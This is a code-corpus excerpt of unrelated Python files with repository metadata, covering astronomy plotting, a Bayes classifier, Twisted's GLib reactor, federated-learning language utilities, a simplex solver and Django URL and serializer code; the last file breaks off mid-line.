ax.xaxis.set_minor_locator(minorLocator) # y-axis majorLocator = MultipleLocator(200) majorFormatter = FormatStrFormatter(r'$\rm %d$') minorLocator = MultipleLocator(100) ax.yaxis.set_major_locator(majorLocator) ax.yaxis.set_major_formatter(majorFormatter) ax.yaxis.set_minor_locator(minorLocator) xlabel(r'$\rm \rho ~[kpc]$') ylabel(r'$\rm Equivalent ~ Width ~ [m\AA]$') ax.legend(scatterpoints=1,prop={'size':15},loc=1,fancybox=True) ax.grid(b=None,which='major',axis='both') ylim(0,1200) xlim(0,500) if save: savefig('{0}/W(impact)_mean_{1}_inc.pdf'.format(saveDirectory,binSize),format='pdf',bbox_inches='tight') else: show() ########################################################################################## ########################################################################################## # plot equivalent width as a function of impact parameter, split between # absorbers at R_vir <200, R_vir >=200, overplot median histograms for each # plotW_impact_vir_separate = False save = False if plotW_impact_vir_separate: fig = figure() ax = fig.add_subplot(111) countb = 0 countr = 0 count = -1 alpha = 0.7 binSize = 125 bins = arange(0,625,binSize) labelr = r'$\rm R_{vir} ~ < ~ 200~kpc$' labelb = r'$\rm R_{vir} ~ >= ~ 200~kpc$' bSymbol = 'D' rSymbol = 'o' xVals = [] redX = [] redY = [] blueX = [] blueY = [] for d,i,w,v,inc in zip(difList,impactList,lyaWList,virList,incList): # check if all the values are good if isNumber(d) and isNumber(i) and isNumber(w) and isNumber(v) and isNumber(inc): if d!=-99 and i!=-99 and w!=-99 and v!=-99 and inc!=-99: xVal = float(i) yVal = float(w) xVals.append(xVal) if float(v)>200: # galaxy inc > 55 color = 'Blue' symbol = bSymbol blueX.append(xVal) blueY.append(yVal) if countb == 0: countb +=1 plotb = ax.scatter(xVal,yVal,marker=symbol,c='Blue',s=50,alpha=alpha) if float(v)<=200: # galaxy inc < 55 color = 'Red' symbol = rSymbol redX.append(xVal) redY.append(yVal) if countr == 0: countr +=1 plotr = ax.scatter(xVal,yVal,marker=symbol,c='Red',s=50,alpha=alpha) plot1 = scatter(xVal,yVal,marker=symbol,c=color,s=50,alpha=alpha) # avg inc < 55 = RED bin_means,edges,binNumber = stats.binned_statistic(array(redX), array(redY), \ statistic='mean', bins=bins) left,right = edges[:-1],edges[1:] X = array([left,right]).T.flatten() Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() plot(X,Y, ls='dotted',color='red',lw=1.7,alpha=alpha+0.1,label=r'$\rm R_{vir} < 200~kpc$') # avg inc > 55 = BLUE bin_means,edges,binNumber = stats.binned_statistic(array(blueX), array(blueY), \ statistic='mean', bins=bins) left,right = edges[:-1],edges[1:] X = array([left,right]).T.flatten() Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() plot(X,Y, ls='dashed',color='blue',lw=1.7,alpha=alpha+0.1,label=r'$\rm R_{vir} >= 200~kpc$') # x-axis majorLocator = MultipleLocator(100) majorFormatter = FormatStrFormatter(r'$\rm %d$') minorLocator = MultipleLocator(50) ax.xaxis.set_major_locator(majorLocator) ax.xaxis.set_major_formatter(majorFormatter) ax.xaxis.set_minor_locator(minorLocator) # y-axis majorLocator = MultipleLocator(200) majorFormatter = FormatStrFormatter(r'$\rm %d$') minorLocator = MultipleLocator(100) ax.yaxis.set_major_locator(majorLocator) ax.yaxis.set_major_formatter(majorFormatter) ax.yaxis.set_minor_locator(minorLocator) xlabel(r'$\rm \rho ~[kpc]$') ylabel(r'$\rm Equivalent ~ Width ~ [m\AA]$') ax.legend(scatterpoints=1,prop={'size':15},loc=1,fancybox=True) ax.grid(b=None,which='major',axis='both') ylim(0,1200) xlim(0,500) if save: savefig('{0}/W(impact)_mean_{1}_vir_sep.pdf'.format(saveDirectory,binSize),format='pdf',bbox_inches='tight') else: show() ######################################################################################### ######################################################################################### ######################################################################################### ######################################################################################### if __name__=="__main__": # do the work main()
ac30ba60a8ca7582effac94ead627f85ddf977c0
4eddf6a34715752dc652571b1ab274f51ceb5da0
/Bayes Classification/.history/Bayes_main_20210428162403.py
fe9dc422ef038bea4328c618c7e6c8136a840ae0
[]
no_license
Suelt/Hust-SE-introduction-to-ML
649aba0e5b41363ceac03330ef02982982a0615d
a66785c3085da573f5748d13608eabf02e616321
refs/heads/master
2023-05-27T13:13:41.058545
2021-06-10T05:44:02
2021-06-10T05:44:02
375,582,438
1
0
null
null
null
null
UTF-8
Python
false
false
2,156
py
import pandas as pd import numpy as np import matplotlib.pyplot as plt from sklearn import model_selection credit = pd.read_csv("C:\\pyproject\\Bayes Classification\\transformed.csv") y = credit['credit_risk'] X = credit.loc[:,'status':'foreign_worker'] X_train, X_test, y_train, y_test = model_selection.train_test_split(X, y, test_size=0.3, random_state=1) cols = ['status','duration','credit_history', 'purpose','amount','savings', 'employment_duration','installment_rate', 'personal_status_sex', 'other_debtors', 'present_residence','property','age','other_installment_plans','housing','number_credits','job','people_liable','telephone','foreign_worker'] train=credit.loc[y_train.index] train_good=train.loc[train['credit_risk']=='good'] length_good=train_good.shape[0] train_bad=train.loc[train['credit_risk']=='bad'] length_bad=train_bad.shape[0] dict_main_true={} dict_main_false={} for col in cols: dict_main_true[col]={} dict_main_false[col]={} #ๆปก่ถณP(Xij|yk)็š„ไธชๆ•ฐ number_value=0 #ๆปก่ถณP(Xij|yk)็š„ๆฆ‚็އ rate=0 cols.remove('duration') cols.remove('amount') cols.remove('age') # print(cols) for col in cols: dict_new_good={} dict_new_bad={} values =train_good[col].value_counts().keys().tolist() for value in values: number_value=train_good[col].value_counts()[value] rate=number_value/length_good dict_new_good[value]=rate number_value=train_bad[col].value_counts()[value] rate=number_value/length_bad dict_new_bad[value]=rate dict_main_true[col]=dict_new_good dict_main_false[col]=dict_new_bad dict_gaussian={} dict_gaussian['duration']={} dict_gaussian['amount']={} dict_gaussian['age']={} for key in dict_gaussian: dict_new={} list_good=train_good[key] arr_mean = np.mean(list_good) arr_std = np.std(list_good,ddof=1) dict_new['good']=[arr_mean,arr_std] list_bad=train_bad[key] arr_mean = np.mean(list_bad) arr_std = np.std(list_bad,ddof=1) dict_new['bad']=[arr_mean,arr_std] dict_gaussian[key]=dict_new print(X_test,y_test) y=y_test print(y) # print(dict_main_true) # print(dict_main_false)
e328b50030a57047e83da491475b3a082fcbf5c0
b9dc028b6a62d681ef02f149efc903a182edcf13
/week/6์ฃผ์ฐจ_์„ ํ˜•์žฌ๊ท€์™€ ๋ฐ˜๋ณต/6-4.1.py
461553338bed4291c6e206396a85073b33bca798
[]
no_license
masiro97/Python
0d1963867c5e6fec678d8b9d07afa6aa055305ed
78ec468630110cdd850e5ecaab33e5cf5bde0395
refs/heads/master
2021-05-10T22:47:28.692417
2018-01-20T17:58:46
2018-01-20T17:58:46
118,267,178
0
0
null
null
null
null
UTF-8
Python
false
false
161
py
def power(b,n): if n>0: if n%2 ==0: return power(b**2,n//2) else: return b * power(b,n-1) else: return 1
2db4950cce667880d8a89f0a16b27301c138bbad
31009efe0b3882551f03dcaa9c71756c7c6f6ede
/src/main/resources/twisted/internet/gireactor.py
a7ada11c7385128a3d2c2f55a02998df86151f47
[ "Apache-2.0", "ZPL-2.0", "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
riyafa/autobahntestsuite-maven-plugin
b533433c75f7daea2757158de54c6d80d304a962
737e6dad2d3ef794f30f0a2013a77e28decd2ec4
refs/heads/master
2020-08-16T13:31:39.349124
2019-10-16T09:20:55
2019-10-16T09:20:55
215,506,990
0
0
Apache-2.0
2019-10-16T09:18:34
2019-10-16T09:18:34
null
UTF-8
Python
false
false
6,123
py
# Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ This module provides support for Twisted to interact with the glib mainloop via GObject Introspection. In order to use this support, simply do the following:: from twisted.internet import gireactor gireactor.install() If you wish to use a GApplication, register it with the reactor:: from twisted.internet import reactor reactor.registerGApplication(app) Then use twisted.internet APIs as usual. On Python 3, pygobject v3.4 or later is required. """ from __future__ import division, absolute_import from twisted.python.compat import _PY3 from twisted.internet.error import ReactorAlreadyRunning from twisted.internet import _glibbase from twisted.python import runtime if _PY3: # We require a sufficiently new version of pygobject, so always exists: _pygtkcompatPresent = True else: # We can't just try to import gi.pygtkcompat, because that would import # gi, and the goal here is to not import gi in cases where that would # cause segfault. from twisted.python.modules import theSystemPath _pygtkcompatPresent = True try: theSystemPath["gi.pygtkcompat"] except KeyError: _pygtkcompatPresent = False # Modules that we want to ensure aren't imported if we're on older versions of # GI: _PYGTK_MODULES = ['gobject', 'glib', 'gio', 'gtk'] def _oldGiInit(): """ Make sure pygtk and gi aren't loaded at the same time, and import Glib if possible. """ # We can't immediately prevent imports, because that confuses some buggy # code in gi: _glibbase.ensureNotImported( _PYGTK_MODULES, "Introspected and static glib/gtk bindings must not be mixed; can't " "import gireactor since pygtk2 module is already imported.") global GLib from gi.repository import GLib if getattr(GLib, "threads_init", None) is not None: GLib.threads_init() _glibbase.ensureNotImported([], "", preventImports=_PYGTK_MODULES) if not _pygtkcompatPresent: # Older versions of gi don't have compatability layer, so just enforce no # imports of pygtk and gi at same time: _oldGiInit() else: # Newer version of gi, so we can try to initialize compatibility layer; if # real pygtk was already imported we'll get ImportError at this point # rather than segfault, so unconditional import is fine. import gi.pygtkcompat gi.pygtkcompat.enable() # At this point importing gobject will get you gi version, and importing # e.g. gtk will either fail in non-segfaulty way or use gi version if user # does gi.pygtkcompat.enable_gtk(). So, no need to prevent imports of # old school pygtk modules. from gi.repository import GLib if getattr(GLib, "threads_init", None) is not None: GLib.threads_init() class GIReactor(_glibbase.GlibReactorBase): """ GObject-introspection event loop reactor. @ivar _gapplication: A C{Gio.Application} instance that was registered with C{registerGApplication}. """ _POLL_DISCONNECTED = (GLib.IOCondition.HUP | GLib.IOCondition.ERR | GLib.IOCondition.NVAL) _POLL_IN = GLib.IOCondition.IN _POLL_OUT = GLib.IOCondition.OUT # glib's iochannel sources won't tell us about any events that we haven't # asked for, even if those events aren't sensible inputs to the poll() # call. INFLAGS = _POLL_IN | _POLL_DISCONNECTED OUTFLAGS = _POLL_OUT | _POLL_DISCONNECTED # By default no Application is registered: _gapplication = None def __init__(self, useGtk=False): _gtk = None if useGtk is True: from gi.repository import Gtk as _gtk _glibbase.GlibReactorBase.__init__(self, GLib, _gtk, useGtk=useGtk) def registerGApplication(self, app): """ Register a C{Gio.Application} or C{Gtk.Application}, whose main loop will be used instead of the default one. We will C{hold} the application so it doesn't exit on its own. In versions of C{python-gi} 3.2 and later, we exit the event loop using the C{app.quit} method which overrides any holds. Older versions are not supported. """ if self._gapplication is not None: raise RuntimeError( "Can't register more than one application instance.") if self._started: raise ReactorAlreadyRunning( "Can't register application after reactor was started.") if not hasattr(app, "quit"): raise RuntimeError("Application registration is not supported in" " versions of PyGObject prior to 3.2.") self._gapplication = app def run(): app.hold() app.run(None) self._run = run self._crash = app.quit class PortableGIReactor(_glibbase.PortableGlibReactorBase): """ Portable GObject Introspection event loop reactor. """ def __init__(self, useGtk=False): _gtk = None if useGtk is True: from gi.repository import Gtk as _gtk _glibbase.PortableGlibReactorBase.__init__(self, GLib, _gtk, useGtk=useGtk) def registerGApplication(self, app): """ Register a C{Gio.Application} or C{Gtk.Application}, whose main loop will be used instead of the default one. """ raise NotImplementedError("GApplication is not currently supported on Windows.") def install(useGtk=False): """ Configure the twisted mainloop to be run inside the glib mainloop. @param useGtk: should GTK+ rather than glib event loop be used (this will be slightly slower but does support GUI). """ if runtime.platform.getType() == 'posix': reactor = GIReactor(useGtk=useGtk) else: reactor = PortableGIReactor(useGtk=useGtk) from twisted.internet.main import installReactor installReactor(reactor) return reactor __all__ = ['install']
2cae4e3b0562f72541fbb29166ea5f6cf51778db
a336dcd58a1e425add4add54dd0640ce1829e2ba
/language_modeling/language_utils.py
45463ef7377097b692feb461e34052e71368e06c
[ "MIT" ]
permissive
ylsung/FedMA
8d0b15bcecc98f87f8d1fe3283dadea38797fa3f
d80c22c0a464abcbc47346b9cbc0080a2556fa49
refs/heads/master
2022-04-12T20:31:53.064893
2020-04-03T15:33:27
2020-04-03T15:33:27
242,638,655
1
0
null
null
null
null
UTF-8
Python
false
false
6,412
py
# Modified from: https://github.com/litian96/FedProx/blob/master/flearn/utils/language_utils.py # credit goes to: Tian Li (litian96 @ GitHub) """Utils for language models.""" import re # ------------------------ # utils for shakespeare dataset ALL_LETTERS = "\n !\"&'(),-.0123456789:;>?ABCDEFGHIJKLMNOPQRSTUVWXYZ[]abcdefghijklmnopqrstuvwxyz}" NUM_LETTERS = len(ALL_LETTERS) def _one_hot(index, size): '''returns one-hot vector with given size and value 1 at given index ''' vec = [0 for _ in range(size)] vec[int(index)] = 1 return vec def letter_to_vec(letter): '''returns one-hot representation of given letter ''' index = ALL_LETTERS.find(letter) return _one_hot(index, NUM_LETTERS) def word_to_indices(word): '''returns a list of character indices Args: word: string Return: indices: int list with length len(word) ''' indices = [] for c in word: indices.append(ALL_LETTERS.find(c)) return indices # ------------------------ # utils for sent140 dataset def split_line(line): '''split given line/phrase into list of words Args: line: string representing phrase to be split Return: list of strings, with each string representing a word ''' return re.findall(r"[\w']+|[.,!?;]", line) def _word_to_index(word, indd): '''returns index of given word based on given lookup dictionary returns the length of the lookup dictionary if word not found Args: word: string indd: dictionary with string words as keys and int indices as values ''' if word in indd: return indd[word] else: return len(indd) def line_to_indices(line, word2id, max_words=25): '''converts given phrase into list of word indices if the phrase has more than max_words words, returns a list containing indices of the first max_words words if the phrase has less than max_words words, repeatedly appends integer representing unknown index to returned list until the list's length is max_words Args: line: string representing phrase/sequence of words word2id: dictionary with string words as keys and int indices as values max_words: maximum number of word indices in returned list Return: indl: list of word indices, one index for each word in phrase ''' unk_id = len(word2id) line_list = split_line(line) # split phrase in words indl = [word2id[w] if w in word2id else unk_id for w in line_list[:max_words]] indl += [unk_id]*(max_words-len(indl)) return indl def bag_of_words(line, vocab): '''returns bag of words representation of given phrase using given vocab Args: line: string representing phrase to be parsed vocab: dictionary with words as keys and indices as values Return: integer list ''' bag = [0]*len(vocab) words = split_line(line) for w in words: if w in vocab: bag[vocab[w]] += 1 return bag def repackage_hidden(h): """Wraps hidden states in new Tensors, to detach them from their history.""" if isinstance(h, torch.Tensor): return h.detach() else: return tuple(repackage_hidden(v) for v in h) def process_x(raw_x_batch): x_batch = [word_to_indices(word) for word in raw_x_batch] x_batch = np.array(x_batch).T return x_batch def process_y(raw_y_batch): y_batch = [letter_to_vec(c) for c in raw_y_batch] return np.array(y_batch) def patch_h_weights(weights, L_next, assignments): # e.g. (1024, 256) comes from (256,256)|(256,256)|(256,256)|(256,256) def __permutate(weight, assignments, L_next): new_w_j = np.zeros((L_next, L_next), dtype=np.float32) new_w_j[np.ix_(assignments, assignments)] = weight # TODO(hwang): make sure if this is correct return new_w_j split_range = np.split(np.arange(weights.shape[0]), 4) h_weights = [] for indices in split_range: #logger.info("assignments: {}".format(assignments)) tempt_h_w = __permutate(weights[indices, :], assignments, L_next) h_weights.append(tempt_h_w) #logger.info("equal: {}".format(np.array_equal(tempt_h_w, weights[indices, :]))) return np.vstack(h_weights) def patch_biases(biases, L_next, assignments): # e.g. (1024, 256) comes from (256,256)|(256,256)|(256,256)|(256,256) def __permutate(bias, assignments, L_next): new_w_j = np.zeros(L_next) new_w_j[assignments] = bias return new_w_j splitted_bias = np.split(biases, 4) h_bias = [__permutate(sb, assignments, L_next) for sb in splitted_bias] return np.hstack(h_bias) def perm_i_weights(w_j, L_next, assignment_j_c): split_range = np.split(np.arange(w_j.shape[0]), 4) res = [] for i in range(4): cand_w_j = w_j[split_range[i], :] temp_new_w_j = np.zeros((L_next, w_j.shape[1])) temp_new_w_j[assignment_j_c, :] = cand_w_j res.append(temp_new_w_j) return np.vstack(res) def patch_i_weights(weights, L_next, assignments): # e.g. (1024, 256) comes from (256,256)|(256,256)|(256,256)|(256,256) def __permutate(weight, assignments, L_next): new_w_j = np.zeros((L_next, L_next), dtype=np.float32) new_w_j[np.ix_(assignments, assignments)] = weight # TODO(hwang): make sure if this is correct return new_w_j split_range = np.split(np.arange(weights.shape[0]), 4) h_weights = [__permutate(weights[indices, :], assignments, L_next) for indices in split_range] return np.hstack(h_weights).T def patch_i_biases(biases, L_next, assignments): # e.g. (1024, 256) comes from (256,256)|(256,256)|(256,256)|(256,256) def __permutate(bias, assignments, L_next): new_w_j = np.zeros(L_next, dtype=np.float32) new_w_j[assignments] = bias return new_w_j splitted_bias = np.split(biases, 4) h_bias = [__permutate(sb, assignments, L_next) for sb in splitted_bias] return np.hstack(h_bias) def perm_i_weights(w_j, L_next, assignment_j_c): split_range = np.split(np.arange(w_j.shape[0]), 4) res = [] for i in range(4): cand_w_j = w_j[split_range[i], :] temp_new_w_j = np.zeros((L_next, w_j.shape[1])) temp_new_w_j[assignment_j_c, :] = cand_w_j res.append(temp_new_w_j) return np.vstack(res)
32ac5a7d72b76f113a77fc4d6eca2a230f2d9f1a
bd6fd6bb82bf3179a4571c7a2ca3a030f5684c5c
/mundo3-EstruturasCompostas/096-funcaoQueCalculaArea.py
a37552e17727565abb68b53d43e8027d78f1f497
[ "MIT" ]
permissive
jonasht/CursoEmVideo-CursoDePython3
b3e70cea1df9f33f409c4c680761abe5e7b9e739
a1bbf1fe4226b1828213742ee5a440278d903fd1
refs/heads/master
2023-08-27T12:12:38.103023
2021-10-29T19:05:01
2021-10-29T19:05:01
276,724,139
0
0
null
null
null
null
UTF-8
Python
false
false
315
py
def calcularArea(largura, comprimento): return largura * comprimento print('=-'*30+'=') largura = float(input('qual รฉ a largura: ')) comprimento = float(input('qual รฉ o comprimento: ')) resposta = calcularArea(largura, comprimento) print(f'a area do terreno {largura}X{comprimento} รฉ de {resposta}mยฒ')
a7be00b6b8cb3f71f680f3dd9f899fc55ee28faf
40b6aa99da5b96a382a04b818b558b66c47f5a96
/projects/serializers.py
070927afeb267f7413d593453aa2dd3a1c9d1dec
[ "BSD-3-Clause" ]
permissive
LABETE/TestYourProject
8bba87004227005edf6b7e9cfb1b3e496441bc7b
416d5e7993343e42f031e48f4d78e5332d698519
refs/heads/master
2021-01-10T18:47:29.581371
2015-09-03T16:48:05
2015-09-03T16:48:05
37,154,071
0
0
null
null
null
null
UTF-8
Python
false
false
437
py
from rest_framework import serializers from .models import Project class ProjectSerializer(serializers.ModelSerializer): """ProjectSerializer use the Project Model""" class Meta: model = Project # Fields displayed on the rest api for projects fields = ( "id", "name", "owner", "description", "start_date", "end_date", "created", "modified", "co_owners", "status",)
dc228204221f9999a303f9408c676717036ef6e4
54934cfe32ce5aa5c2e718b0c5c2afa4b458fe75
/29ch/simplex.py
59b4470baf756d0125074792e5d87eb8135a1b62
[]
no_license
mccarvik/intro_to_algorithms
46d0ecd20cc93445e0073eb0041d481a29322e82
c2d41706150d2bb477220b6f929510c4fc4ba30b
refs/heads/master
2021-04-12T12:25:14.083434
2019-11-09T05:26:28
2019-11-09T05:26:28
94,552,252
0
0
null
null
null
null
UTF-8
Python
false
false
5,014
py
import numpy as np from fractions import Fraction # so that numbers are not displayed in decimal. print("\n ****SiMplex Algorithm ****\n\n") # inputs # A will contain the coefficients of the constraints A = np.array([[1, 1, 0, 1], [2, 1, 1, 0]]) # b will contain the amount of resources b = np.array([8, 10]) # c will contain coefficients of objective function Z c = np.array([1, 1, 0, 0]) # B will contain the basic variables that make identity matrix cb = np.array(c[3]) B = np.array([[3], [2]]) # cb contains their corresponding coefficients in Z cb = np.vstack((cb, c[2])) xb = np.transpose([b]) # combine matrices B and cb table = np.hstack((B, cb)) table = np.hstack((table, xb)) # combine matrices B, cb and xb # finally combine matrix A to form the complete simplex table table = np.hstack((table, A)) # change the type of table to float table = np.array(table, dtype ='float') # inputs end # if min problem, make this var 1 MIN = 0 print("Table at itr = 0") print("B \tCB \tXB \ty1 \ty2 \ty3 \ty4") for row in table: for el in row: # limit the denominator under 100 print(Fraction(str(el)).limit_denominator(100), end ='\t') print() print() print("Simplex Working....") # when optimality reached it will be made 1 reached = 0 itr = 1 unbounded = 0 alternate = 0 while reached == 0: print("Iteration: ", end =' ') print(itr) print("B \tCB \tXB \ty1 \ty2 \ty3 \ty4") for row in table: for el in row: print(Fraction(str(el)).limit_denominator(100), end ='\t') print() # calculate Relative profits-> cj - zj for non-basics i = 0 rel_prof = [] while i<len(A[0]): rel_prof.append(c[i] - np.sum(table[:, 1]*table[:, 3 + i])) i = i + 1 print("rel profit: ", end =" ") for profit in rel_prof: print(Fraction(str(profit)).limit_denominator(100), end =", ") print() i = 0 b_var = table[:, 0] # checking for alternate solution while i<len(A[0]): j = 0 present = 0 while j<len(b_var): if int(b_var[j]) == i: present = 1 break; j+= 1 if present == 0: if rel_prof[i] == 0: alternate = 1 print("Case of Alternate found") # print(i, end =" ") i+= 1 print() flag = 0 for profit in rel_prof: if profit>0: flag = 1 break # if all relative profits <= 0 if flag == 0: print("All profits are <= 0, optimality reached") reached = 1 break # kth var will enter the basis k = rel_prof.index(max(rel_prof)) min = 99999 i = 0; r = -1 # min ratio test (only positive values) while i<len(table): if (table[:, 2][i]>0 and table[:, 3 + k][i]>0): val = table[:, 2][i]/table[:, 3 + k][i] if val<min: min = val r = i # leaving variable i+= 1 # if no min ratio test was performed if r ==-1: unbounded = 1 print("Case of Unbounded") break print("pivot element index:", end =' ') print(np.array([r, 3 + k])) pivot = table[r][3 + k] print("pivot element: ", end =" ") print(Fraction(pivot).limit_denominator(100)) # perform row operations # divide the pivot row with the pivot element table[r, 2:len(table[0])] = table[ r, 2:len(table[0])] / pivot # do row operation on other rows i = 0 while i<len(table): if i != r: table[i, 2:len(table[0])] = table[i, 2:len(table[0])] - table[i][3 + k] * table[r, 2:len(table[0])] i += 1 # assign the new basic variable table[r][0] = k table[r][1] = c[r] print() print() itr+= 1 print() print("***************************************************************") if unbounded == 1: print("UNBOUNDED LPP") exit() if alternate == 1: print("ALTERNATE Solution") print("optimal table:") print("B \tCB \tXB \ty1 \ty2 \ty3 \ty4") for row in table: for el in row: print(Fraction(str(el)).limit_denominator(100), end ='\t') print() print() print("value of Z at optimality: ", end =" ") basis = [] i = 0 sum = 0 while i<len(table): sum += c[int(table[i][0])]*table[i][2] temp = "x"+str(int(table[i][0])+1) basis.append(temp) i+= 1 # if MIN problem make z negative if MIN == 1: print(-Fraction(str(sum)).limit_denominator(100)) else: print(Fraction(str(sum)).limit_denominator(100)) print("Final Basis: ", end =" ") print(basis) print("Simplex Finished...") print()
c16d82720ec1b8fe3e203367af944e196afff6e1
a829617f9ad158df80a569dd02a99c53639fa2c6
/test/hep/hist/plotscatter1.py
481bd4af3c75beb1b29ae31a8343f51318ba9f68
[]
no_license
alexhsamuel/pyhep
6db5edd03522553c54c8745a0e7fe98d96d2b7ae
c685756e9065a230e2e84c311a1c89239c5d94de
refs/heads/master
2021-01-10T14:24:08.648081
2015-10-22T13:18:50
2015-10-22T13:18:50
44,745,881
1
0
null
null
null
null
UTF-8
Python
false
false
1,188
py
#----------------------------------------------------------------------- # imports #----------------------------------------------------------------------- from hep.draw import * import hep.draw.postscript import hep.draw.xwindow import hep.hist import hep.hist.plot from random import random import sys #----------------------------------------------------------------------- # tests #----------------------------------------------------------------------- scatter = hep.hist.Scatter((float, "mass", "GeV/$c^2$"), (float, "momentum", "GeV/$c$")) for i in range(200): x = random() * 2 y = random() + random() + random() + random() - 2 scatter << (x, y) layout = GridLayout(2, 1, aspect=1) plot = hep.hist.plot.Plot(2, overflows=False, marker="*", marker_size=5 * point) plot.append(scatter) layout[0, 0] = plot plot = hep.hist.plot.Plot(2) plot.append(scatter, overflows=True, x_range=(0, 1.8), y_range=(-1, 1)) layout[1, 0] = plot hep.draw.postscript.PSFile("plotscatter1.ps").render(layout) window = hep.draw.xwindow.FigureWindow(layout, (0.23, 0.1)) if len(sys.argv) > 1: raw_input("hit enter to end: ")
337698bb08445f1bf0fb45fe6a2517906a80dd0b
b6452f95624c7f251f80a7803880b992f5b9332e
/toppings.py
9e78ab7e5c97f71f10cdf5d00ad85bfd4834ed77
[]
no_license
jimmy-kyalo/python_tutorials
4a1cb8f0338718297deffeeefff9873eb5399571
c310f615a84a42d4d978d300eb18422acb4e62f6
refs/heads/master
2023-03-06T15:38:57.413857
2021-02-21T12:32:29
2021-02-21T12:32:29
340,896,994
0
0
null
null
null
null
UTF-8
Python
false
false
119
py
# checking for inequality requested_topping = 'mushrooms' if requested_topping != 'cheese': print("Hold the cheese!")
d2823e6997c2111264e3da0f80476e590dfddc56
14744766d01d6719097fa6d2b0a9db42226c114b
/mysite/mysite/urls.py
2700207fc7d9c265b503210e668e09142c8f1569
[]
no_license
jakiiii/Django-2-by-Example
8f491a23b7c45ef71a866622ec45dab9909ad212
6b3c68b7d54b6c763bba30be5c8b48d257cd97f5
refs/heads/master
2023-03-10T00:09:37.688697
2021-02-26T19:27:24
2021-02-26T19:27:24
342,679,630
0
0
null
null
null
null
UTF-8
Python
false
false
1,033
py
"""mysite URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.1/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path, include from django.contrib.sitemaps.views import sitemap from blog.sitemaps import PostSitemap sitemaps = { 'posts': PostSitemap } urlpatterns = [ path('admin/', admin.site.urls), path('blog/', include('blog.urls')), # path('sitemap.xml', sitemap, {'sitemaps': sitemaps}, name='django.contrib.sitemaps.views.sitemap') ]
90f95244f05c1263c0d096e6db8ca9eb041850be
3ee0c019a7b10a7a78dfc07d61da5d2b3cf3ad27
/190808/10815_num_card.py
b0e15f15f74903dcf0fac31456922a98aaf35c0b
[]
no_license
JiminLee411/algorithms
a32ebc9bb2ba4f68e7f80400a7bc26fd1c3a39c7
235834d1a50d5054f064bc248a066cb51c0835f5
refs/heads/master
2020-06-27T01:37:55.390510
2019-11-14T08:57:16
2019-11-14T08:57:16
199,811,134
0
0
null
null
null
null
UTF-8
Python
false
false
295
py
import sys sys.stdin = open('10815_input.txt', 'r') M = int(input()) my = list(map(int, input().split())) N = int(input()) value = list(map(int, input().split())) comp = ['0' for _ in range(N)] for i in range(N): if value[i] in my: comp[i] = '1' res = ' '.join(comp) print(res)
775de92b67b22c79f8edaac2f60a42285e0b6576
f942f82fb1b9c2eb0c4cf03ca2254f4207fd08d2
/Products/urls.py
b5a99b7be68470e2ae719e7f66d3f28dde8ef522
[]
no_license
mahdy-world/Fatoma-Restaurant
2b6aec149c20d5526d5d7a505479cc29c811d666
a500397741e72d0cf28dbb8f64c914144835d6c2
refs/heads/master
2023-06-27T19:27:35.606292
2021-07-31T13:53:18
2021-07-31T13:53:18
391,366,717
0
0
null
null
null
null
UTF-8
Python
false
false
3,985
py
from .views import * from django.urls import path app_name = 'Products' urlpatterns = [ path('main_categories/', MainCategoryList.as_view(), name='MainCategoryList'), path('main_categories/new/', MainCategoryCreate.as_view(), name='MainCategoryCreate'), path('main_categories/trash/', MainCategoryTrashList.as_view(), name='MainCategoryTrashList'), path('main_categories/<int:pk>/edit/', MainCategoryUpdate.as_view(), name='MainCategoryUpdate'), path('main_categories/<int:pk>/delete/', MainCategoryDelete.as_view(), name='MainCategoryDelete'), path('main_categories/xls', MainCategoryXls , name='MainCategoryXls'), path('sub_categories/', SubCategoryList.as_view(), name='SubCategoryList'), path('sub_categories/new/', SubCategoryCreate.as_view(), name='SubCategoryCreate'), path('sub_categories/trash/', SubCategoryTrashList.as_view(), name='SubCategoryTrashList'), path('sub_categories/<int:pk>/edit/', SubCategoryUpdate.as_view(), name='SubCategoryUpdate'), path('sub_categories/<int:pk>/delete/', SubCategoryDelete.as_view(), name='SubCategoryDelete'), path('sub_categories/xls', SubCategoryXls , name='SubCategoryXls'), path('manufactures/', ManufactureList.as_view(), name='ManufactureList'), path('manufactures/new/', ManufactureCreate.as_view(), name='ManufactureCreate'), path('manufactures/trash/', ManufactureTrashList.as_view(), name='ManufactureTrashList'), path('manufactures/<int:pk>/edit/', ManufactureUpdate.as_view(), name='ManufactureUpdate'), path('manufactures/<int:pk>/delete/', ManufactureDelete.as_view(), name='ManufactureDelete'), path('manufactures/xls', ManufactureXls , name='ManufactureXls'), path('brands/', BrandList.as_view(), name='BrandList'), path('brands/new/', BrandCreate.as_view(), name='BrandCreate'), path('brands/trash/', BrandTrashList.as_view(), name='BrandTrashList'), path('brands/<int:pk>/edit/', BrandUpdate.as_view(), name='BrandUpdate'), path('brands/<int:pk>/delete/', BrandDelete.as_view(), name='BrandDelete'), path('brands/xls', BrandXls , name='BrandXls'), path('units/', UnitList.as_view(), name='UnitList'), path('units/new/', UnitCreate.as_view(), name='UnitCreate'), path('units/<int:pk>/edit/', UnitUpdate.as_view(), name='UnitUpdate'), path('units/<int:pk>/delete/', UnitDelete.as_view(), name='UnitDelete'), path('products/', ProductList.as_view(), name='ProductList'), path('products/new/', ProductCreate.as_view(), name='ProductCreate'), path('products/trash/', ProductTrashList.as_view(), name='ProductTrashList'), path('products/<int:pk>/edit/', ProductUpdate.as_view(), name='ProductUpdate'), path('products/<int:pk>/delete/', ProductDelete.as_view(), name='ProductDelete'), path('products/<int:pk>/show/', ProductCard.as_view(), name='ProductCard'), path('products/<int:pk>/add_content/', GroupedProductCreate.as_view(), name='GroupedProductCreate'), path('product/xls', ProductXls, name='ProductXls'), path('grouped_product/<int:pk>/edit/', GroupedProductUpdate.as_view(), name='GroupedProductUpdate'), path('grouped_product/<int:pk>/delete/', GroupedProductDelete, name='GroupedProductDelete'), path('taxes/', TaxesList.as_view(), name='TaxesList'), path('tax/new/', 